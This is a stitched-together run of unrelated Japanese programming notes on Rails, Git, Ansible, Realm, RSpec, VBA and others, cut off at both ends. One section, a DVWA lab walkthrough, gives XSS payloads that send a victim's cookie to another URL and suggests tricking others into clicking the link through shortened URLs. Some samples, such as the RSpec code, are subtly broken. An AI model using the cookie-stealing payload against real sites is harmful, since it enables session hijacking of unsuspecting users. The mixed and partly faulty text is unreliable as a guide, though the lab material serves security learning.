`generateSpeechToDrive()` を実行すると、Googleドライブの「マイドライブ」に音声ファイルが出力されます。

<img width="1331" alt="generated_file_in_my_drive.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/230946/6561a3a4-c9e6-afa7-bdc6-7976a677b0cc.png">

作成した音声ファイルをDLし、自分のミュージックライブラリやプレイリストに追加（この作業は手動ですが...）すれば、電車などの移動時間に用語集を「聴く」ことができます！

## 所感

音声化する文字列に適度に句読点が入っていれば、大きな違和感なく聞き取る事ができる印象です。
ただ、送り仮名のせいか時たま期待と違う読みをすることがありました。そこは適宜用語シートの修正が必要ですね。
例：「読込む」→「どくこむ」

このあたりも自動化できれば、もっと便利になると思いました。

- 作成後の音声ファイルを任意のフォルダへ移動
- プレイリストへの追加
Rails & JS系(Vueとか)のフレームワークで未来の時間のテストをする方法

## Rails側(サーバサイド）

Timecopを導入。
とりあえずGemfileに1行挿入。

```ruby:Gemfile
(前略)
group :development, :test do
  (中略)
  gem 'timecop' #この一行をdevelopmentとかstagingの中に書く
  (後略)
end
```

Staging環境の場合は、当然staging.rbに記述してください。

```ruby:config/environments/development.rb
Rails.application.configure do
(中略)
  config.after_initialize do
    t = Time.local(2023, 3, 25, 10, 5, 0) # 2023年3月25日10時５分0秒に固定
    Timecop.travel(t)
  end
end
```

## JS側（クライアントサイド）

力技。OSの時間設定をいじれ！

取り敢えずMacだとシステム環境設定から。

![スクリーンショット 2020-02-25 22.07.11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/293892/eadffc90-e9ca-8496-6961-695dd09a11f1.png)

## こんな時に便利
予定されたリリースをシミュレートしたり、月初の処理が適切に行われているか等の確認に使える。
翌月にならないとテストできない、リリース当日のぶっつけ本番は避けたいですよね。
コードヘルス - YAGNIの匂いを消せ

*この文書は[Code Health: Eliminate YAGNI Smells](https://testing.googleblog.com/2017/08/code-health-eliminate-yagni-smells.html)の翻訳です。*

ソフトウェア開発の主なコストは保守にある。 **保守コストを下げるひとつの方法は、実際に必要になるまで実装しないというもので、これはYAGNI (You Aren't Gonna Need It, そんなの必要ないって)原則として知られている。** 不要なコードをどうやって見つければよいだろうか？

*コードの臭い* とはデザイン上の欠陥を大抵の場合、示すコードパターンのことです。例えば、基底クラスやインタフェースをサブクラスが1つしかなくても作るのは、より多くのサブクラスがこの先、必要となると見越してのことだろう。しかし、そうせずに**反復型開発とデザインを実践しよう:** そのサブクラスは本当に必要になるまで追加しないで。

### 次のC++コードは多くのYAGNIの匂いがする

```c++
class Mammal { ...
  virtual Status Sleep(bool hibernate) = 0;
};

class Human : public Mammal { ...
  virtual Status Sleep(bool hibernate) {
    age += hibernate ? kSevenMonths : kSevenHours;
    return OK;
  }
};
```

一つのクラスだけしか実際には必要ないにも関わらず、メンテナーは両方のクラスを理解し、ドキュメント化し、テストする責任がある。コードはhibernate（冬眠）がtrueの場合を処理しなくてはならないが、実際にはすべての呼び出しではfalseである。また、Sleepは（Status型が返り値であるため）エラーを返すかもしれないが、実際にはそれは起きない。これにより決して実行されない不要なコードを生む。**こういった匂いを消し去ることはコードを簡単にする:**

```c++
class Human { ...
  void Sleep() { age += kSevenHours; }
};
```

### さらに他のYAGNIの匂い

- コードがテストからしか実行されない。（コードはdead on arrivalともいわれる[^1]）
- クラスがサブクラスを持つようにデザインされている（仮想メソッド、protectedメンバーなどを持つ）が、実際にはサブクラスを持たない。
- publicやprotectedのメソッドやフィールドだが、privateにできる
- パラメータや変数やフラグが常に同じ値をとっている

ありがたいことに、**YAGNIの匂い（および一般的なコードの匂い）は単純なパターンを探すだけで見つかることが多く、単純なリファクタリングによって消すことができる。**

今日使われないコードを追加しようと考えている？信じてほしい、そんなの必要ないって！


[^1]: はじめて聞きました。
Git備忘録

# 設定

## `~/.gitconfig`
```
[user] 
        name = Yasushi SHINOHARA
        email = hogehoge@hoge.com
[core]
        editor = vim
```

## `~/.emacs`
```lisp
;;disable the version control with emacs
(setq vc-handled-backends nil)
```
# リモートリポジトリを作る
リモートリポジトリ用に作った`hogehoge.git`に移動して
```console
git init --bare --share
```
でリモートリポジトリが作られる。
gitで管理したいディレクトリに移動して、`git remote add origin /path/for/hogehoge.git`でうまくいく という記事がウェブ上で散見されるが、自分のケースではうまくいかなかった。
```console
git clone /path/for/hogehoge.git ./
```
で空のリポジトリが設定されて、リモートとの関係も`git remote -v`で観れることを確認した。


# コマンド
```console
git ls-files #gitで管理しているファイルの一覧を表示
```

## branch 関係
```console
git branch      # ブランチを確認
git branch -a   # リモートも含めてブランチを確認
```

### 新しくbranch, `branch_name`をつくる

```console
git branch branch_name
```

### `branch_name`にbranchを切り替える

```console
git checkout branch_name
```

### `branch_name`をremoteに`push`

```console
git push -u origin branch_name
```

## merge関係

Merge先(ここでは`master`とする)のbranchに`git checkout`して移動してから、から、merge元のbranch(ここでは`develop`とする)を指定してmergeする。

```console
git checkout master
git merge develop
```
## `git tag`

```console
git tag -a vx.y.z # タグのコメントを入力するエディタが立ち上がる
git tag -a vx.y.z  -m 'version x.y.z'
git tag -a vx.y.z -m 'version x.y.z' コミットID #後でコミットにタグをつける場合
```
コミットのIDを省略することで最新のコミットにタグが付く。

```console
git push origin vx.y.z
```
リモートにもタグを認識させるには、タグをpushする必要がある。

## リモートリポジトリ関係

```console
git remote -v # リモートリポジトリとして指定されているpathを表示する
```


## 誤ってステージにのせてしまったファイルを管理対象から外したい

```console
git rm --cached ./hoge/hogehoge.pyc
```

# `gitk`
gitkのフォントが小さいとき、`~/.config/git/gitk`の`set mainfont`, `set textfont`, `set uifont`の数字を大きくすればよい。
ActiveRecord::RecordNotFound in

##今回ActiveRecord::RecordNotFound inのエラーで困ったのでメモです。

teratailで結果的に教えて頂き解決したのですがメモとして忘れないように書きたいと思います。
ほぼ質問した事のコピーとその続きです。

```
テーブル名
・novel_lists　
・users
多(novel_losts):1(users)の関係です。

novel_listsには
・title
・genre
・novel_keyword
・synopsis
・user_id　　以上の５つのカラムがあります。
```

今回はusersのshow.html.erbファイルに書いていきます。

```
<% @novel_list.each do |novel_list| %>
            <div class="novellist_toptable">
                    <tbody>
                        <tr>
                            <td><%= link_to novel_list.title, novel_list_path(novel_list) %></td>
                            <td><%= novel_list.genre %></td>
                        </tr>
                        <tr>
                            <td></td>
                        </tr>
                    </tbody>
                </table>
            </div>
            <% end %>
このように記載し、novel_list_pathへとlinkをつなげています。
このlinkを踏んだ際に出るエラーとなります


まずはusersコントローラのshowアクションの部分です。
class UsersController < ApplicationController

  def show
    @user = User.find(params[:id])
    @novel_list = @user.novel_lists
    @followings = @user.followings.page(params[:page])
    @novel_lists = NovelList.all
    @favposts = current_user.favposts.page

```

##エラー内容
```
ActiveRecord::RecordNotFound in NovelListsController#show
Couldn't find User with 'id'=4
Extracted source (around line #9):

  def show
    @user = User.find(params[:id])ここの部分にエラーが出ています。
    @novel_list = NovelList.find(params[:id])
    @novel_post = NovelPost.find(params[:id])
    @novel_posts = @novel_list.novel_posts
```

NovelListsControllerと出ているので・・・

```
novel_listsコントローラです。
class NovelListsController < ApplicationController

  def show
    @user = User.find(params[:id])
    @novel_list = NovelList.find(params[:id])
    @novel_post = NovelPost.find(params[:id])
    @novel_posts = @novel_list.novel_posts
  end
```

##教えて頂いた解決策

```
エラー文に"Couldn't find User with 'id'=4"と書いてあります。意味としては、「id=4のユーザーはないよ」と言っています。なぜ、このようなことになっているかというと、novel_listsコントローラで@user = User.find(params[:id])としているからです。
今、id=4のノベルをクリックしているのでparams[:id]の値は4となります。なので、id=4のユーザーを探しに行った結果、id=4のユーザーは存在しないよと言っています。

そもそも、novel_listの中にユーザーidの情報が入っているので、そこでわざわざ@userとしなくていいと思います。Novel_listテーブルとUserテーブルをアソシエーションで結んでいれば、例えば、ビュー側で@novel_list.user.nameとすれば、ユーザーの情報は表示できると思います。
```

今までコントローラに書いて取得できるものであれば問題なく表示できるという認識でやってましたがここでとても重要な事を教わりました。
上記とてもわかりやすく、@user = User.find(params[:id])としてた事で、探して欲しいものとは違うものを取得する為に
コンピュータが動いていたとは予想外・・・でした。

https://teratail.com/questions/243317

こちら質問した際のURLです。内容はほぼ一緒です。

##最後に@user削除後

```
作者：<%= link_to @novel_list.user.name, user_path(@novel_list) %>

作者の呼び出しに@user.nameを使ってたのエラーとなった訳ですが、
アドバイス通り、@novel_list.user.nameにする事で無事に呼び出す事が出来ました。
```

わかりやすく教えて頂けて感謝ですね。
今回困ったメモは以上です。
DVWAでXSS(DOM)

## 前提
- kali linux環境がある
- DVWAのセットアップ済み（https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c ）

## 目標
- xssでセッションを奪取する

## 手順概要
- xssの可否チェック
- cookieが取れるか確認する
- 別のドメインへcookieを飛ばす

## 内容
### xssとは
- クロスサイトスクリプティングの略称
- scriptを使って、サイト間で不正なデータを送り込むなど、小細工する
- 今回の場合はブラウザにあるcookieをクエリに乗っけて別urlへ送信する

### 前準備
- DVWAにログインする
    - 以下コードをkali上で実行しDVWAを立ち上げる。
    - http://localhost/DVWA-master/index.php
    - admin/passwordでログイン
- セキュリティレベルを下げる。
    - メニュー下にあるDVWA securityへアクセス
    - デフォルトがimpossibleなので、このままではハッキングできない。なのでlowに変更する

```shell:
# ファイルへのアクセス許可する
root@kali:~# service apache2 start
# DB_createできるようにする
root@kali:~# service mysql start 

```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/bb95d520-1602-b7b8-afa3-85da3ffb651e.png)

- XSS(DOM)にアクセスする（左メニューにある）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/f100b4cb-3371-2bb9-673f-1f4883892513.png)


### XSS開始

- 挙動を確認する
    - selectBoxで「English」を選択すると以下アドレスとなる
    - http://localhost/DVWA-master/vulnerabilities/xss_d/?default=English
    - どうやらクエリを使って操作しているっぽい
- スクリプトでcookie取得する。
    - 下記urlを実行することでcookie情報が露わになった。
    - ただ、これだど自分のブラウザのcookieしか取れないので、問題ない。

```js:
// cookie取得
document.cookie
// アラートで表示確認
alert(document.cookie)
// urlは以下のようにする
// http://localhost/DVWA-master/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/7ae57faf-b841-2fe5-998e-6291e099efa5.png)


-  スクリプトを使って、別ページへ遷移させる
    - 下記urlを実行することで別途サイトのurlにcookieを載せることができた
    - 後は受け取りサイト側でクエリを取得し保存するロジックを組み込めば勝手に収集できる。

```js:
// ページ遷移(自分が飛ばしたいurl=>http://localhost)
window.location = "http://localhost"
// 上記にcookieを乗っける
window.location = "http://localhost?hisCookie="+document.cookie
// urlは以下のようにする
// http://localhost/DVWA-master/vulnerabilities/xss_d/?default=<script>window.location = "http://localhost?hisCookie="+document.cookie</script>
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/f2fc471e-d006-4aef-7423-347b2eb5abb9.png)

-  上記で作成したurlを他人に踏ませる
    - 後は上記のスクリプト付きurlを誰かに踏ませればよい。
    - 例えば、twitterならurlが略されるのでスクリプトは隠れるため、ばれ辛い（twitter側がエスケープしてそうだけど）

おわり
JavaScript メモ

- var → 変数
- function(){} → 関数
- for → 繰り返し(終わりのある)
- console.log → コンソールに表示
- alert() → 警告
- confirm() → 確認
- prompt() → 入力
- if (条件式) {条件式に合致する場合に行われる処理} → もし〜ならば
- else {条件式に合致しない場合に行われる処理} → ifがダメなら

##比較演算子
- A > B AはBより大きい
- A >= B AはB以上
- A === B AとBは等しい
- A !== B AとBは等しくない

##論理演算子
- A && B AかつB (and)
- A || B AまたはB (or)
-  !A    Aではない(not)
Ansibleの環境設定

Ansibleの環境設定は、Ansibleの設定ファイルを保存するディレクトリを作成する必要があります。

rpmでAnsibleをインストールした場合、/etc/ansibleに自動的に初期状態の環境が作成されます。
これをそのまま使うこともできますが、これをテンプレートにして任意の場所にコピーしてAnsibleの環境を作成するほうが良いと思います。


#1.設定ファイル

　Ansibleの実行に必要なファイルは次の通りです。
　環境設定ファイル、インベントリファイルは環境ごとに1つで良いですが、playbookは操作ごとに作成します。

|対象|ファイル名|概要|
|:-------------:|:----------:|:-----------------------------------------------------------------:|
|環境設定ファイル| ansible.cfg|通信方法やログ出力など、ansibleの実行時の設定を記述|
|インベントリファイル|hosts|設定対象のサーバー、NW機器を記述|
|playbook|(任意).yml|ansible-playbookコマンドを実行するときに使用。サーバー、NWに対する操作を記述。|

　
#2.環境のディレクトリ構造

　環境ディレクトリの構造は次の通りです。/etc/ansibleディレクトリ内の初期の状態でもあります。

　(ベースディレクトリ）　・・・　環境設定ファイル、インベントリファイル、playbookを保存。
　　+-- role　　　　　　　・・・　roleという、WebサーバーやAPサーバーなど、操作対象の役割毎にplaybookなどを保存する。

　※（参考）以降は必要に応じてユーザーが任意で作成します。/etc/ansibleディレクトリには存在しません。
　　+-- files　　　　　　　・・・　copyモジュールで使用。操作対象に転送するファイルを保存する。
　　+-- templates　　　　 ・・・　templateモジュールで使用。操作対象に転送し、編集するファイルを保存する。
　　+-- host_vars　　　　 ・・・　ホスト変数ファイルを保存する。
　　+-- group_vars　　　　・・・　ホストグループ変数ファイルを保存する。


#3.環境設定ファイルの読み取り優先順位

　　環境設定が複数ある場合、次の順番でディレクトリ検索を行い、ファイルを読み取ります。

　　①環境変数 ANSIBLE_CONFIGに記述したディレクトリ。
　　②ansibleのコマンドを実行したときのカレントディレクトリ。
　　③/etc/ansible


#4.環境設定の管理
　
　ansibleで管理したいシステムやOSが複数ある場合、個人的には環境設定を分けたほうが良いかと思っています。
　システムごとにOSのバージョンが異り、操作する内容も異なります。そのため実行毎に環境設定ファイルを差し替えたり、playbookが複雑になってくると思います。
　異なるシステム間で同じ操作を行う場合は、playbookをコピーして共有すればよいかと思います。

例）ディレクトリ構成の例

（システムA)
　　+--- Linux　　　←ここを環境設定ディレクトリにする
　　+--- Windows　 ←ここを環境設定ディレクトリにする

（システムA_テスト環境)
　　+--- Linux　　　←ここを環境設定ディレクトリにする
　　+--- Windows　 ←ここを環境設定ディレクトリにする

（システムB)
　　+--- Windows　 ←ここを環境設定ディレクトリにする

（システムB_テスト環境)
　　+--- Windows　 ←ここを環境設定ディレクトリにする

（NW機器）
　　+--- CISCO　 ←ここを環境設定ディレクトリにする
　　+--- F5　　  ←ここを環境設定ディレクトリにする

※システムごとに担当者が違い、アクセスさせたくない場合はシステムごとにユーザーを分け、ディレクトリにパーミッションで制限をかけるのもよいかと思います。
miniCRANを使ってみたメモ

「インターネットに接続できない環境があって、そこにCRANパッケージをインストールしたい時にどうしたらいいんだっけ？」と思って調べたら、miniCRANに辿り着いたので、メモを残しておく。


**Disclaimer**

公式ドキュメントとブログに書かれてることしかやってないです。違いは国内のミラーを使っているくらい？

 * https://cran.r-project.org/web/packages/miniCRAN/vignettes/miniCRAN-introduction.html
 * https://kbroman.org/blog/2017/05/23/minicran/


### インストール

```r
install.packages("miniCRAN")
```

### レポジトリをつくる

```r
library(miniCRAN)

# Use mirror in Japan
repo <- c(CRAN = "https://cran.ism.ac.jp/")
pkgs <- c("ggplot2")
pkgList <- pkgDep(pkgs, repos = repo, type = "source", suggests = FALSE)
pkgList

# Create temporary folder for miniCRAN
dir.create(pth <- file.path(tempdir(), "miniCRAN"))

# Make repo for source, win.binary and mac.binary.el-capitan
makeRepo(pkgList, path=pth, repos=repo, type=c("source", "win.binary", "mac.binary.el-capitan"))

# List all files in miniCRAN
list.files(pth, recursive = TRUE, full.names = FALSE)

# Check for available packages
pkgAvail(repos = pth, type="mac.binary.el-capitan")
```


### ローカルからインストールする

```r
install.packages(pkgs, repos=paste0("file:///", pth), type = "source")
```
ExcelVBAから、OUTLOOK起動して、Excelの表組みをメール本文に貼って送る。WordEditorでOutlook本文編集するのが、コツ


ExcelVBAから、OUTLOOK起動して、
Excelの表組みをメール本文に貼って送る。
WordEditorでOutlook本文編集するのが、コツ。


```vb:sample_excel_2_outlook

Public Sub do_OutlookMailSend(Optional mode = 4)
Dim wb As Workbook
Set wb = ActiveWorkbook

' 最大行数の取得　その１
'ir_m = wb.Sheets("out").Range("a1").SpecialCells(xlLastCell).Row

' 最大行数の取得　その２
ir_m = 9999
For ir = 1 To 1000
    If Trim(wb.Sheets("out").Cells(ir, 1).Value) = "" Then
        ir_m = ir
        Exit For
    End If
Next

' エクセルの表組みをコピー；　領域は適宜
wb.Sheets("out").Range("a1:f" & ir_m).Copy

Set myol = CreateObject("Outlook.Application")
Set myns = myol.Getnamespace("MAPI")
Set myfol = myns.getdefaultfolder(5)
myfol.Display

Set mymail = myol.createItem(0)
mymail.Display
Set ins = mymail.GetInspector

' WordEditorで、本文編集するのが、コツ
Set doc = ins.WordEditor

' ペイスト方式を選択
'mode is
'Const wdPasteHTML = 10
'Const wdPasteBitmap = 4
doc.Range.PasteSpecial DataType:=mode, Placement:=0

' オプション；画像での貼り付け時、拡縮と本文挿入
If mode = 4 Then
    doc.inlineShapes(1).ScaleWidth = 100
    doc.Range.InsertBefore "本文挿入" & vbCrLf & vbCrLf
End If

doc.Range.Font.Name = "ＭＳ Ｐゴシック"
doc.Range.Font.Size = 10.5

mymail.To = "abc@def.com"
mymail.Subject = "[" & Format(Now(), "YY MM DD") & "]" & "　メール送信テスト"
'mymail.body = ""

'''''
''mymail.send
'''''

Set mymail = Nothing
Set myfol = Nothing
Set myns = Nothing
Set myol = Nothing
Set wb = Nothing

End Sub

Private Sub CommandButton1_Click()
'画像で送る
Call do_OutlookMailSend
End Sub

Private Sub CommandButton2_Click()
'表組で送る
Call do_OutlookMailSend(10)
End Sub

```
Android Studio 勉強:アクティビティとは

現在「初めてのAndroidプログラミング」を読みながら、
android studioとkotlinを勉強中です!!
今日から勉強したことをまとめようと思っています！！

#アクティビティとは 
ざっくりいうと一つの画面に対応するものですね！！
そこで画面のレイアウトを読み込んだり(setContentView)、キー操作を行ったり、ボタンをクリックしたりなどの処理を書いたりします。

#アクティビティとライフサイクル
アクティビティは生成から破棄されるまで状態が変化するんですねこれをライフサイクルと呼ぶらしいです。また、状態に対応する様々なメソッドが呼ばれます。

#アクティビティの開始時
onCreateメソッドで画面の初期化処理を行います。レイアウトを読み込んだり、ボタンをタップしたりする処理をここに書きます。これ必須ですね
そしてonStart、onResumeが呼び出されアクティビティが実行状態になります

#アクティビティの終了時
別の画面を開くなどをして、その画面が後ろに回るとonPauseメソッドが呼ばれます。呼び出されると、その時の画面の状態が失ってしまうので、もしその時の状態を保存したい場合はonPauseメソッドをオーバーライドして状態を保存する処理を書く必要があります。
そしてそのままonStopメソッドが呼び出され後ろで待機します。
再び画面が表示される時はonRestartが呼び出され再び実行状態になります。

#コールバックメソッド
ライフサイクル中に呼び出されるメソッドの総称をコールバックメソッドと呼びます。
chart.jsのyAxes

SNMPのグラフをchart.js 2.xで表示しているのだが、y軸がいまいちいけてない。

![filename(1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/8c90426c-1620-8fd1-891f-c8bbfb56aa7c.png)

```javascript
              yAxes: [{
                  ticks: {
                    callback: function(value) { return value + " oct";},
                    min: 0
                  }
              }]
```

こんな風にしてみた。

```javascript
              yAxes: [{
                  ticks: {
                    callback: function(value) { if (value == 0) { return value +
 " oct";} else if (value >= 1000000) { return (value / 1000000) + " moct";} else
{return (value / 1000) + " koct";}},
                    min: 0
                  }
              }]
```

![filename(2).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/afb1f72e-fc0a-8d52-9383-6ad12c76ceee.png)

大きいトラフィックは外すと

![filename(3).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/21fbc71a-cad3-d53e-e177-6e924c9030e8.png)

もっと外すと

![filename(4).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/011030ca-631a-03a4-9ab2-9bc93adaf8c4.png)

もっともっと外すと

![filename(5).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/104066/eed14ab9-5bee-843f-5240-e662a25d52da.png)

とりあえず今日はこれで良しとしよう。
リモートでモブプログラミングをやってみた

# 前提
- モブプロは定常的に実施している
- メンバーはmax4人

# why
- 一部メンバーが在宅なことが増えてきたので全員リモートで実施してみた(出勤組は近場にいたけど全員同じ環境でやった)

# 使ったもの
- mac
    - 業務PCがmac
- Slack
    - 通話機能
    - 画面共有
- VSCode
    - LiveShare
        - 共有する

# 感想
- コミュニケーションは問題なく取れた
    - 対面よりは気を使うけど慣れれば問題なさそう
- Slackの画面共有が結構便利
    - ペンでグリグリ描けたり
- ネットワークが調子悪いと何もできなくなってしまう
- イヤホンは必須

# 気になりポイント
- PCが遅くなる
- Slackの通話、画面共有が遅れる
- 周りの目が気になる
- ネットワークに依存してしまう
- ホワイトボードの代わりになるものが欲しい
RealmのschemaVersionの管理方法について考える

# RealmのschemaVersion
Realmのドキュメントの[マイグレーション項目](https://realm.io/jp/docs/swift/latest/#マイグレーション)で言及されている通り、Realmを扱う際には`Realm.Configuration`の引数である`schemaVersion`にモデルにアップデートがあった際に以前のバージョンよりも大きい値を設定する必要があります。なお、この値はマイグレーションなどの処理を行う際に必要となり、Realm内部で`oldSchemaVersion`(初期値0)よりも最新の`schemaVersion`が大きいか否かで自動的にマイグレーションされます。([データ移行](https://realm.io/jp/docs/swift/latest/#値の更新)の際は`migrationBlock`で移行処理を記述する)

# schemaVersionをどのように管理すべきか
### 方法１. モデルのアップデートを行う際に手元でschemaVersionをインクリメントする
個人的にオススメしません。複数人で開発していた際に同時にアップデートすることもあるかと思います。その際にコンフリクトしたり、配信されていると`schemaVersion`が正しくインクリメントされておらずクラッシュも起きうると考えられます。


### 方法2. ビルド番号を直接入れる
**アプリバージョンに関わらず**、ビルド番号をGitのコミット数などでインクリメントしている場合、ビルド番号を`schemaVersion`に入れることも方法の１つかと思います。この場合だと実装者に関わらず常にインクリメントされていくので`schemaVersion`も自動で上がってくれます。この方法がお手軽ですが、モデルにアップデートがないのにも関わらずインクリメントされるのは違和感に感じます。また、ビルド番号をどのように管理しているかにも依存するので開発方針に左右されます。




#### 以上の方法を踏まえて実現したい理想
1. `schemaVersion`はモデルのアップデートが行われた際のみインクリメントしたい。
2. 複数人開発においても正しく管理されるようにGitに依存した値を注入したい

# モデルのディレクトリ以下のgit logからschemaVersionを設定する
最終的にfastlaneのlaneとして定義できるようにします。

### Step1. 特定のディレクトリ以下のマージコミットを取得する
```sh
git log --oneline --merges --first-parent master -- DIR_PATH | wc -l
```
上記のコマンドで`DIR_PATH`上の変更に対するマージコミットのカウントが取れます。
DIR_PATHはモデルが存在するディレクトリです。最終的には**この数**を最新の`schemaVersion`として設定します。

### Step2. 現在のブランチの最新マージコミット(コミットハッシュ)を取得する
```sh
git log --oneline --merges --pretty=format:"%h" -1
```
取得したコミットハッシュを`HASH_STEP2`とします。

### Step3. 現在のブランチの最新コミット(コミットハッシュ)を取得する
```sh
git log --oneline --pretty=format:"%h" -1
```
取得したコミットハッシュを`HASH_STEP3`とします。

### Step4. 最新のマージコミットと現在のコミット間で特定ディレクトリ上の変更のコミット数を取得する
```sh
git log --oneline HASH_STEP2..HASH_STEP3 -- DIR_PATH | wc -l
```

これによって`DIR_PATH`において現在、変更を行ったかが0かどうかで判断することができます。

### Step5. Step1~4を用いてlaneを組む

```ruby
  lane :bump_schema_version do
    latest_merges_commit_hash = sh(%Q[git log --oneline --merges --pretty=format:"%h" -1])
    latest_commit_hash = sh(%Q[git log --oneline --pretty=format:"%h" -1])
    latest_model_commit_count = sh(%Q[git log --oneline #{latest_merges_commit_hash}..#{latest_commit_hash} -- DIR_PATH | wc -l]).strip!.to_i
    latest_schema_version = sh("git log --oneline --merges --first-parent master -- DIR_PATH | wc -l").strip!.to_i
    
    if latest_model_commit_count > 0 
      latest_schema_version += 1
    end

    set_info_plist_value(path: PLIST_PATH, key: "schemaVersion", value: latest_schema_version)
  end
```

`set_info_plist_value`でInfo.plist内の`schemaVersion`に書き込み、コードから取得することで`Realm.Configuration`に渡すことができます。

このlaneを実行することで現在のブランチで変更があるかを取得することができます。

`latest_schema_version`をmasterへのマージコミット数としているのはCI上で実行したときには**モデルのディレクトリにおける変更のmasterマージコミット数**を`schemaVersion`とするためです。
まだマージしていないブランチ上で実行したときにはStep4で行っている**現在変更しているか**を加味して`latest_schema_version`がインクリメントされます。

前者と後者の値は一致するので「手元で実行してPR作成によってインクリメントする」or「CI上でフックして実行、PR作成する」などインクリメントする方法を選択することができます。

# 最後に
`schemaVersion`の管理方法をどのようにするかはプロジェクトによっても変わりますし、悩ましい部分だと思います。
他の方法もあればぜひ教えてください！
レスポンシブフォントサイズ）解像度の異なるスマホで同じ見た目にする

## 導入
（レスポンシブを含む）スマホサイトのフォントサイズの指定は

* どのスマホで見てもフォントサイズが同じ
* 画面の横幅の○%と指定する

と二種類に分かれています。どう違うかというと

* フォントサイズ固定→小さいスマホで見て文字が潰れない。　一行に何文字表示されるかはスマホによって可変
* 横幅の○%指定　→スマホの解像度によってフォントサイズが可変。一行に何文字表示されるかはどのスマホで見ても変わらない

Yahooのスマホサイト等では地の文はどのスマホで見てもフォントサイズ16pxで固定のようで世間的には固定サイズが一般的です。
ただ、プロに仕事が回ってくるような複雑なデザインのサイトだとどのスマホで見ても見た目を同じにしたいときが多くあります。

## やってみた
https://jsfiddle.net/sphenisc/uov5y2kt/9/
（横幅を変えやすいのでJSFiddleにしました）
よくある3カラムデザインです。

要点

```scss
@function fz($size) {
	@return ($size/16) + rem;
}
:root {
  @include mq_sp {
    font-size: 4.26666666667vw !important;
  }
}
html,
body {
  font-size: fz(16);
}
h3 {
  font-size: fz(20);
}
```

| |パソコン |タブレット |SP 414px|375px|320px|
|:--|:--|:--|:--|:--|:--|
|h3のフォントサイズ |20px |20px |22.10px |20.01px |17.06px |
|pのフォントサイズ |16px |16px |17.68px |16.00px |13.65px |

h3のフォントサイズは1.25remなので
PCとタブレット：16 × 1.25 = 20px
スマホ　　：4.26vw × 1.25 = 5.325vw

pのフォントサイズは指定していないので
PCとタブレット：16px
スマホ　　：4.26vw
となります。

フォントサイズを％指定(vw)したことで414pxのスマホで見ても320pxのスマホで見てもpタグの文字は**「あ～て」**が1行目に表示されます。
注目してほしいのはpにスマホ時のフォントサイズを何も書いていないのでPC用のコードがそのまま適用されているのですが
SPのみルートのフォントサイズをvwにして関数でルートに比べてどのくらいのフォントサイズなのかを関数で指定しているので何も書かなくても勝手にvwに変換してくれています
Text-to-Speech APIと関連ライブラリまとめ

## Cloud Text-to-Speech
後述するライブラリの大元となるGoogleのAPI。テキストを音声に変換できる。
APIを有効化してAPIキーを取得すれば、スクリプト実行で音声ファイルを作成できる。
ドキュメントの「クイックスタート」にそえば、好きな言語で簡単な音声ファイルを作成することができる。
https://cloud.google.com/text-to-speech/docs/quickstart-client-libraries?hl=ja


## google-tts-api

https://www.npmjs.com/package/google-tts-api
Google-Text-to-Speach-APIのnode.js版。
このライブラリだけでAPIの有効化・キー取得などを行うことなく音声ファイルの作成ができる。
しかし一度に音声化できるのは200文字まで。

## google-home-notifer
https://github.com/noelportugal/google-home-notifier
このライブラリ内にgoogle-tts-apiが内包されている。
音声ファイルを作成し、Google Homeにテキストを読み上げさせることができる。

## おまけ：読み上げ音声の特徴
実際に作成した音声ファイルを聞いてみて気づいた音声の特徴を簡単に。
言語＝日本語の場合、
* 英単語：日本語読みで発音される
* 読み上げ時のブレス：句読点、カギカッコ、カンマなど。空白はブレスにならない。
RSpec でクラスメソッドとインスタンスメソッドを mock 化する

### Overview

この記事ではクラスメソッドとインスタンスメソッドを、`テスト対象に都合の良いデータを返してくれるように mock 化する方法`を紹介します。

自動テスト界隈では「本物のふりをしてくれるオブジェクト」をまとめて**テストダブル**と言い、テスト対象からの出力を受けるのが **mock** で、テスト対象に都合の良いデータを返してくれるのが **stub** と言いうのでは？という方がいらっしゃるかと思いますが、この記事ではこれらの用語の定義はややこしいので触れません...  **テストを pass するためにテスト中に都合の良いデータを返す方法**という観点だけでお読みください :pray:

### テスト中のクラスメソッドの返り値を固定する

では、まずはクラスメソッドからです。
こういうクラスがあったとします。

```ruby
class ExampleClass
  def self.real_method # クラスメソッドは self で定義
    'real'
  end
end
```

この `real_method` の返り値を、テスト中に `dummy` にしたい場合はこのように書きます。

```ruby
require 'spec_helper'

describe 'ExampleClass' do
  it 'return dummy'
    allow(Example).to receive(:real_method).and_return('dummy')
    puts Example.real_method # dummy
  end
end
```

### テスト中のインスタンスメソッドの返り値を固定する

続いてインスタンスメソッドです。
こういうクラスがあったとします。

```ruby
class ExampleClass
  def real_method # インスタンスメソッドは self いらない
    'real'
  end
end
```

テストはこう書きます。

```ruby
require 'spec_helper'

describe 'ExampleSlass' do
  it 'return dummy' do
    allow_any_instance_of(Example).to receive(:real_method).and_return('dummy')
    puts Example.new.real_method # dummy
  end
end
```

`allow_any_instance_of` を使うところがキモですね。

ちなみに、インスタンスメソッドをただの allow で mock しようとすると以下のように Example に real_method というクラスメソッドはないよというエラーを吐かれ、

```ruby
allow(Example).to receive(:real_method).and_return('dummy')
# Example does not implement: real_method
```

テスト中に new してインスタンスを mock しようとすると、テストで new したインスタンスと実際のコードで new したインスタンスは異なるので mock ができず、`real` が返されます。

```ruby
allow(Example.new).to receive(:real_method).and_return('dummy')
# ここで new しても、実際のコードは別のインスタンスなので real が返される
```

### まとめ

- クラスメソッド

```ruby
allow(Class).to receive(:target_method).and_return('mock_value')
```

- インスタンスメソッド

```ruby
allow_any_instance_of(Class).to receive(:target_method).and_return('mock_value')
```
【Laravel】アクセサ、ミューテタの基本のキ

#はじめに
今回はアクセサとミューテタの基本について解説します。
##そもそもミューテタとは？
そもそもミューテタってなんなんでしょうか？
